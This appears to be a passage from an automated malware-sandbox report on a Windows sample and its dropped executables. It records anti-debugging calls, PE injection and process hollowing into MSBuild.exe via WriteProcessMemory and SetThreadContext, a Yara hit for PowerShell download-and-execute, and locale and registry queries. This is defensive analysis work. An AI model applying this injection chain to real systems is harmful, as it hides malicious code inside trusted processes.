Source: C:\Users\user\Documents\iofolko5\2OJr0kqvYIvMGmMoMnnzAHbc.exe	Code function: 8_2_00967775 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	8_2_00967775
Source: C:\Users\user\Documents\iofolko5\2OJr0kqvYIvMGmMoMnnzAHbc.exe	Code function: 8_2_00967902 SetUnhandledExceptionFilter,	8_2_00967902
Source: C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe	Code function: 9_2_00CD7450 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	9_2_00CD7450
Source: C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe	Code function: 9_2_00CDB596 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	9_2_00CDB596
Source: C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe	Code function: 9_2_00CD7775 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	9_2_00CD7775
Source: C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe	Code function: 9_2_00CD7902 SetUnhandledExceptionFilter,	9_2_00CD7902
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_0041AD48 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	10_2_0041AD48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_0041CEEA SetUnhandledExceptionFilter,	10_2_0041CEEA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 10_2_0041B33A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	10_2_0041B33A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_0041D12A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	14_2_0041D12A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_0041DAAC _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	14_2_0041DAAC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_0042774E SetUnhandledExceptionFilter,	14_2_0042774E

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: 2OJr0kqvYIvMGmMoMnnzAHbc.exe PID: 6196, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: HJCfr5V5_QVbJA3PPM7OVXSs.exe PID: 5752, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 5748, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 5924, type: MEMORYSTR

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\d1bc91bd44a0.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2OJr0kqvYIvMGmMoMnnzAHbc.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 protect: page execute and read and write	Jump to behavior

Contains functionality to inject code into remote processes

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 14_2_0040F54A _memset,GetThreadContext,ReadProcessMemory,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,

14_2_0040F54A

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\d1bc91bd44a0.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2OJr0kqvYIvMGmMoMnnzAHbc.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 value starts with: 4D5A	Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\d1bc91bd44a0.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\d1bc91bd44a0.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\d1bc91bd44a0.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 56B000	Jump to behavior
Source: C:\Users\user\Desktop\d1bc91bd44a0.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 58A000	Jump to behavior
Source: C:\Users\user\Desktop\d1bc91bd44a0.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 592000	Jump to behavior
Source: C:\Users\user\Desktop\d1bc91bd44a0.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 5D8000	Jump to behavior
Source: C:\Users\user\Desktop\d1bc91bd44a0.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: DA1008	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2OJr0kqvYIvMGmMoMnnzAHbc.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2OJr0kqvYIvMGmMoMnnzAHbc.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 401000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2OJr0kqvYIvMGmMoMnnzAHbc.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 41E000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2OJr0kqvYIvMGmMoMnnzAHbc.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 42B000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2OJr0kqvYIvMGmMoMnnzAHbc.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 65C000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2OJr0kqvYIvMGmMoMnnzAHbc.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 11BA008	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 401000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 430000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 43D000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 670000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 671000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 1046008	Jump to behavior

Source: C:\Users\user\Desktop\d1bc91bd44a0.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2OJr0kqvYIvMGmMoMnnzAHbc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior

Source: C:\Users\user\Desktop\d1bc91bd44a0.exe

Code function: 1_2_00BA10F0 cpuid

1_2_00BA10F0

Source: C:\Users\user\Desktop\d1bc91bd44a0.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	1_2_00A5A060
Source: C:\Users\user\Desktop\d1bc91bd44a0.exe	Code function: GetLocaleInfoW,	1_2_00A5A166
Source: C:\Users\user\Desktop\d1bc91bd44a0.exe	Code function: GetUserDefaultLCID,IsValidCodePage,LdrInitializeThunk,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	1_2_00A5A235
Source: C:\Users\user\Desktop\d1bc91bd44a0.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	1_2_00A598D1
Source: C:\Users\user\Desktop\d1bc91bd44a0.exe	Code function: LdrInitializeThunk,EnumSystemLocalesW,	1_2_00A519F2
Source: C:\Users\user\Desktop\d1bc91bd44a0.exe	Code function: LdrInitializeThunk,EnumSystemLocalesW,	1_2_00A59BBE
Source: C:\Users\user\Desktop\d1bc91bd44a0.exe	Code function: LdrInitializeThunk,EnumSystemLocalesW,	1_2_00A59B73
Source: C:\Users\user\Desktop\d1bc91bd44a0.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,LdrInitializeThunk,	1_2_00A59CE4
Source: C:\Users\user\Desktop\d1bc91bd44a0.exe	Code function: LdrInitializeThunk,EnumSystemLocalesW,	1_2_00A59C59
Source: C:\Users\user\Desktop\d1bc91bd44a0.exe	Code function: GetLocaleInfoW,	1_2_00A51E9C
Source: C:\Users\user\Desktop\d1bc91bd44a0.exe	Code function: GetLocaleInfoW,LdrInitializeThunk,	1_2_00A59F37
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	2_2_00560274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: GetLocaleInfoW,	2_2_00560479
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: EnumSystemLocalesW,	2_2_0056056B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: EnumSystemLocalesW,	2_2_00560520
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: EnumSystemLocalesW,	2_2_00560606
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	2_2_00560691
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: EnumSystemLocalesW,	2_2_0055A725
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: GetLocaleInfoEx,FormatMessageA,	2_2_0053F870
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: GetLocaleInfoW,	2_2_005608E4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	2_2_00560A0D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: GetLocaleInfoW,	2_2_00560B13
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: GetLocaleInfoW,	2_2_0055ABF4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	2_2_00560BE9
Source: C:\Users\user\Documents\iofolko5\2OJr0kqvYIvMGmMoMnnzAHbc.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	8_2_0097A060
Source: C:\Users\user\Documents\iofolko5\2OJr0kqvYIvMGmMoMnnzAHbc.exe	Code function: GetLocaleInfoW,	8_2_0097A166
Source: C:\Users\user\Documents\iofolko5\2OJr0kqvYIvMGmMoMnnzAHbc.exe	Code function: GetUserDefaultLCID,IsValidCodePage,LdrInitializeThunk,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	8_2_0097A235
Source: C:\Users\user\Documents\iofolko5\2OJr0kqvYIvMGmMoMnnzAHbc.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	8_2_009798D1
Source: C:\Users\user\Documents\iofolko5\2OJr0kqvYIvMGmMoMnnzAHbc.exe	Code function: LdrInitializeThunk,EnumSystemLocalesW,	8_2_009719F2
Source: C:\Users\user\Documents\iofolko5\2OJr0kqvYIvMGmMoMnnzAHbc.exe	Code function: LdrInitializeThunk,EnumSystemLocalesW,	8_2_00979BBE
Source: C:\Users\user\Documents\iofolko5\2OJr0kqvYIvMGmMoMnnzAHbc.exe	Code function: LdrInitializeThunk,EnumSystemLocalesW,	8_2_00979B73
Source: C:\Users\user\Documents\iofolko5\2OJr0kqvYIvMGmMoMnnzAHbc.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,LdrInitializeThunk,	8_2_00979CE4
Source: C:\Users\user\Documents\iofolko5\2OJr0kqvYIvMGmMoMnnzAHbc.exe	Code function: LdrInitializeThunk,EnumSystemLocalesW,	8_2_00979C59
Source: C:\Users\user\Documents\iofolko5\2OJr0kqvYIvMGmMoMnnzAHbc.exe	Code function: GetLocaleInfoW,	8_2_00971E9C
Source: C:\Users\user\Documents\iofolko5\2OJr0kqvYIvMGmMoMnnzAHbc.exe	Code function: GetLocaleInfoW,LdrInitializeThunk,	8_2_00979F37
Source: C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	9_2_00CEA060
Source: C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe	Code function: GetLocaleInfoW,	9_2_00CEA166
Source: C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe	Code function: GetUserDefaultLCID,IsValidCodePage,LdrInitializeThunk,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	9_2_00CEA235
Source: C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe	Code function: ___crtGetLocaleInfoA,___crtGetLocaleInfoA,LdrInitializeThunk,__calloc_crt,___crtGetLocaleInfoA,LdrInitializeThunk,__calloc_crt,_free,_free,__invoke_watson,__calloc_crt,_free,	9_2_00D1D3E3
Source: C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	9_2_00D1F576
Source: C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	9_2_00CE98D1
Source: C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe	Code function: LdrInitializeThunk,EnumSystemLocalesW,	9_2_00CE19F2
Source: C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe	Code function: LdrInitializeThunk,__calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,LdrInitializeThunk,___getlocaleinfo,LdrInitializeThunk,___getlocaleinfo,LdrInitializeThunk,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,_free,_free,	9_2_00D21A50
Source: C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe	Code function: LdrInitializeThunk,EnumSystemLocalesW,	9_2_00CE9BBE
Source: C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,LdrInitializeThunk,__calloc_crt,LdrInitializeThunk,__calloc_crt,LdrInitializeThunk,__calloc_crt,LdrInitializeThunk,___crtGetStringTypeA,___crtLCMapStringA,___crtLCMapStringA,_free,_free,_free,_free,_free,_free,_free,_free,_free,	9_2_00D22B40
Source: C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe	Code function: LdrInitializeThunk,EnumSystemLocalesW,	9_2_00CE9B73
Source: C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,LdrInitializeThunk,	9_2_00CE9CE4
Source: C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe	Code function: LdrInitializeThunk,EnumSystemLocalesW,	9_2_00CE9C59
Source: C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe	Code function: LdrInitializeThunk,___getlocaleinfo,LdrInitializeThunk,___getlocaleinfo,LdrInitializeThunk,___getlocaleinfo,LdrInitializeThunk,___getlocaleinfo,LdrInitializeThunk,___getlocaleinfo,LdrInitializeThunk,___getlocaleinfo,LdrInitializeThunk,___getlocaleinfo,LdrInitializeThunk,___getlocaleinfo,LdrInitializeThunk,___getlocaleinfo,LdrInitializeThunk,___getlocaleinfo,LdrInitializeThunk,___getlocaleinfo,LdrInitializeThunk,___getlocaleinfo,LdrInitializeThunk,___getlocaleinfo,LdrInitializeThunk,___getlocaleinfo,LdrInitializeThunk,___getlocaleinfo,LdrInitializeThunk,___getlocaleinfo,LdrInitializeThunk,___getlocaleinfo,LdrInitializeThunk,___getlocaleinfo,LdrInitializeThunk,___getlocaleinfo,LdrInitializeThunk,___getlocaleinfo,LdrInitializeThunk,___getlocaleinfo,LdrInitializeThunk,___getlocaleinfo,LdrInitializeThunk,___getlocaleinfo,LdrInitializeThunk,___getlocaleinfo,LdrInitializeThunk,___getlocaleinfo,LdrInitializeThunk,___getlocaleinfo,LdrInitializeThunk,___getlocaleinfo,LdrInitializeThunk,___getlocaleinfo,LdrInitializeThunk,___getlocaleinfo,LdrInitializeThunk,___getlocaleinfo,LdrInitializeThunk,___getlocaleinfo,LdrInitializeThunk,___getlocaleinfo,LdrInitializeThunk,___getlocaleinfo,LdrInitializeThunk,___getlocaleinfo,LdrInitializeThunk,___getlocaleinfo,LdrInitializeThunk,___getlocaleinfo,LdrInitializeThunk,___getlocaleinfo,LdrInitializeThunk,___getlocaleinfo,LdrInitializeThunk,___getlocaleinfo,LdrInitializeThunk,___getlocaleinfo,LdrInitializeThunk,___getlocaleinfo,LdrInitializeThunk,___getlocaleinfo,LdrInitializeThunk,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	9_2_00D20DC4
Source: C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe	Code function: LdrInitializeThunk,__calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,LdrInitializeThunk,___getlocaleinfo,LdrInitializeThunk,___getlocaleinfo,LdrInitializeThunk,___getlocaleinfo,LdrInitializeThunk,___getlocaleinfo,LdrInitializeThunk,___getlocaleinfo,LdrInitializeThunk,___getlocaleinfo,LdrInitializeThunk,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_mon,_free,_free,_free,_free,_free,	9_2_00D21D6E
Source: C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe	Code function: GetLocaleInfoW,	9_2_00CE1E9C
Source: C:\Users\user\Documents\iofolko5\HJCfr5V5_QVbJA3PPM7OVXSs.exe	Code function: GetLocaleInfoW,LdrInitializeThunk,	9_2_00CE9F37
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: GetLocaleInfoA,	10_2_00417B90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: GetLocaleInfoA,	14_2_00410DDB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	14_2_0042B1EC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,	14_2_0042B2E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,InterlockedDecrement,InterlockedDecrement,InterlockedDecrement,_free,_free,	14_2_00429B70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,_strlen,GetLocaleInfoA,_strlen,_TestDefaultLanguage,	14_2_0042B3E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,_strlen,	14_2_0042B388
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,GetCPInfo,___crtGetStringTypeA,___crtLCMapStringA,___crtLCMapStringA,_memmove,_memmove,_memmove,InterlockedDecrement,_free,_free,_free,_free,_free,_free,_free,_free,_free,InterlockedDecrement,	14_2_0042AC60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: ___crtGetLocaleInfoA,GetLastError,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__invoke_watson,GetLocaleInfoW,GetLocaleInfoW,__calloc_crt,GetLocaleInfoW,_free,GetLocaleInfoW,	14_2_00425503
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,_TestDefaultLanguage,	14_2_0042B5B4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,malloc,GetLocaleInfoW,WideCharToMultiByte,__freea,	14_2_004275BC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: EnumSystemLocalesA,	14_2_0042B676
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	14_2_00428EE4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_mon,_free,_free,_free,InterlockedDecrement,InterlockedDecrement,_free,_free,	14_2_00429E8E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: GetLocaleInfoA,_LocaleUpdate::_LocaleUpdate,___ascii_strnicmp,__tolower_l,__tolower_l,	14_2_0042E68F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	14_2_00427696
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: _strlen,_strlen,_GetPrimaryLen,EnumSystemLocalesA,	14_2_0042B6A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: __getptd,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_strlen,EnumSystemLocalesA,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoA,strcpy_s,__invoke_watson,GetLocaleInfoA,GetLocaleInfoA,__itow_s,	14_2_0042B743
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: _strlen,_GetPrimaryLen,EnumSystemLocalesA,	14_2_0042B707
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: GetLocaleInfoA,	14_2_0042E7C4

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
